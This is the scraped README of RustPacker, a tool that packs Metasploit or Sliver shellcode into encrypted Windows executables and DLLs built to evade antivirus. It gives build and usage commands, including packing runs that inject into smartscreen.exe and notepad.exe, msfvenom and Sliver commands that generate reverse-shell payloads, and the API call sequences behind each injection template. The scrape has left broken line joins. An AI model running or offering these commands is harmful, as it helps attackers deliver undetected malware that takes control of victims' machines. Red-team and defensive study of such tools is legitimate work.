Yes! Here with the common metasploit calc exec payload on a Windows 11 host, using the ntCRT template and AES. Last test on 21/12/2023.
Consider using Podman instead of Docker for security reasons. From any internet-connected OS with either Podman or Docker installed:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile
. This operation may take a while.shared
folder, and create your first binary targeting a running smartscreen
process:podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.raw -i syscrt -e aes -b exe -t smartscreen.exe
output_[RANDOM_NAME]
: target/x86_64-pc-windows-gnu/release/
For regular use, you can set an alias:
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
rustpacker -f shared/calc.raw -i syscrt -e aes -b exe -t smartscreen.exe
RustPacker is compatible with any raw shellcode.
You can generate raw MSF shellcode using msfvenom's raw format. Ex:
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=127.0.0.1 LPORT=80 EXITFUNC=thread -f raw -o msf.bin
You can generate raw Sliver shellcode using Sliver's "--format shellcode". Ex:
generate --mtls 127.0.0.1:443 --format shellcode --os windows --evasion
Consider using Podman instead of Docker for security reasons. From any internet-connected OS with either Podman or Docker installed:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
podman build -t rustpacker -f Dockerfile
shared
folderpodman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/calc.raw -i ntcrt -e xor -b exe -t smartscreen.exe
output_RANDOM_NAME
folder in shared
For regular use, you can set an alias:
alias rustpacker='podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker'
rustpacker -f shared/calc.raw -i ntcrt -e xor -b exe -t smartscreen.exe
Install dependencies:
sudo apt update && sudo apt upgrade -y
sudo apt install -y libssl-dev librust-openssl-dev musl-tools mingw-w64 cmake libxml2-dev
Install Rust:
source $HOME/.cargo/env
rustup target add x86_64-pc-windows-gnu
Run RustPacker:
git clone https://github.com/Nariod/RustPacker.git
cd RustPacker/
cargo run -- -f shared/calc.raw -i ntcrt -e xor -b exe -t smartscreen.exe
For now, you can choose from the following templates:
winCRT
, which injects your shellcode in a remote process using the following high-level API calls: OpenProcess
, VirtualAllocEx
, WriteProcessMemory
, VirtualProtectEx
, CreateRemoteThread
. You can supply the target process with -t
, defaults to dllhost.exe
otherwise. Uses the official Windows crates.ntCRT
, which injects your shellcode in a remote process using the following low-level API calls: NtOpenProcess
, NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtProtectVirtualMemory
, NtCreateThreadEx
. You can supply the target process with -t
, defaults to dllhost.exe
otherwise.ntAPC
, which executes your shellcode in a new process using the following low-levels API calls: NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtProtectVirtualMemory
, NtQueueApcThread
, NtTestAlert
.sysCRT
, which injects your shellcode in a remote process using indirect syscalls to the following low-level API: NtOpenProcess
, NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtProtectVirtualMemory
, NtCreateThreadEx
. You can supply the target process with -t
, defaults to dllhost.exe
otherwise. Uses the rust-syscalls project for syscalls.winFIBER
, which executes your shellcode in a new process using the following high-level API calls: VirtualAlloc
, WriteProcessMemory
, VirtualProtect
, CreateFiber
, ConvertThreadToFiber
, SwitchToFiber
. Uses the official Windows crates. Thanks to Maldev Academy for the execution sequence with fibers !ntFIBER
, which executes your shellcode in a new process using the following low API calls: NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtProtectVirtualMemory
, CreateFiberEx
, ConvertThreadToFiber
, SwitchToFiber
. Uses the official Windows crates. Thanks to Maldev Academy for the execution sequence with fibers !sysFIBER
, which executes your shellcode in a new process using indirect syscalls the following low API calls: NtAllocateVirtualMemory
, NtWriteVirtualMemory
, NtProtectVirtualMemory
. Then, calls CreateFiberEx
, ConvertThreadToFiber
, SwitchToFiber
. Uses the official Windows crates. Thanks to Maldev Academy for the execution sequence with fibers !All the templates are compatible with either XOR or AES encryption, and can generate an EXE or a DLL file. Templates that inject in remote processes are compatible with the -t
option to target the process of your choice.
If you want to pack your Sliver shellcode using the ntCRT
template with AES encryption, target notepad.exe
, and retrieve an EXE file:
shared
folder of the Rustpacker projectpodman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/AMAZING_SLIVER.bin -i ntcrt -e aes -b exe -t notepad.exe
rustpacker -f shared/AMAZING_SLIVER.bin -i ntcrt -e aes -b exe -t notepad.exe
output_[RANDOM_NAME]
: target/x86_64-pc-windows-gnu/release/
If you want to pack your Msfvenom shellcode using the ntAPC
template with XOR encryption, and retrieve a DLL file:
shared
folder of the Rustpacker projectpodman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/msf.bin -i ntapc -e xor -b dll
rustpacker -f shared/msf.bin -i ntapc -e xor -b dll
output_[RANDOM_NAME]
: target/x86_64-pc-windows-gnu/release/
If you want to specify a custom output directory and filename for the resulting binary:
-o
option followed by the desired output directory path.podman run --rm -v $(pwd)/shared:/usr/src/RustPacker/shared:z rustpacker RustPacker -f shared/msf.bin -i ntapc -e xor -b dll -o shared/my_file.dll
rustpacker -f shared/msf.bin -i ntapc -e xor -b dll -o shared/my_file.dll
These templates are no longer available with RustPacker, but can be found in RustPacker/templates/OLD/
:
ct
, which executes your shellcode by spawning a process using the following API calls: VirtualAlloc, VirtualProtect, CreateThread, WaitForSingleObject
. crt
, which injects your shellcode in the dllhost.exe
process using the following API calls: OpenProcess, VirtualAllocEx, WriteProcessMemory, VirtualProtectEx, CreateRemoteThread
.If you have some experience with Rust, you're more than welcome to help ! You can help by:
Usage of anything presented in this repo to attack targets without prior mutual consent is illegal. It's the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program. Only use for educational purposes.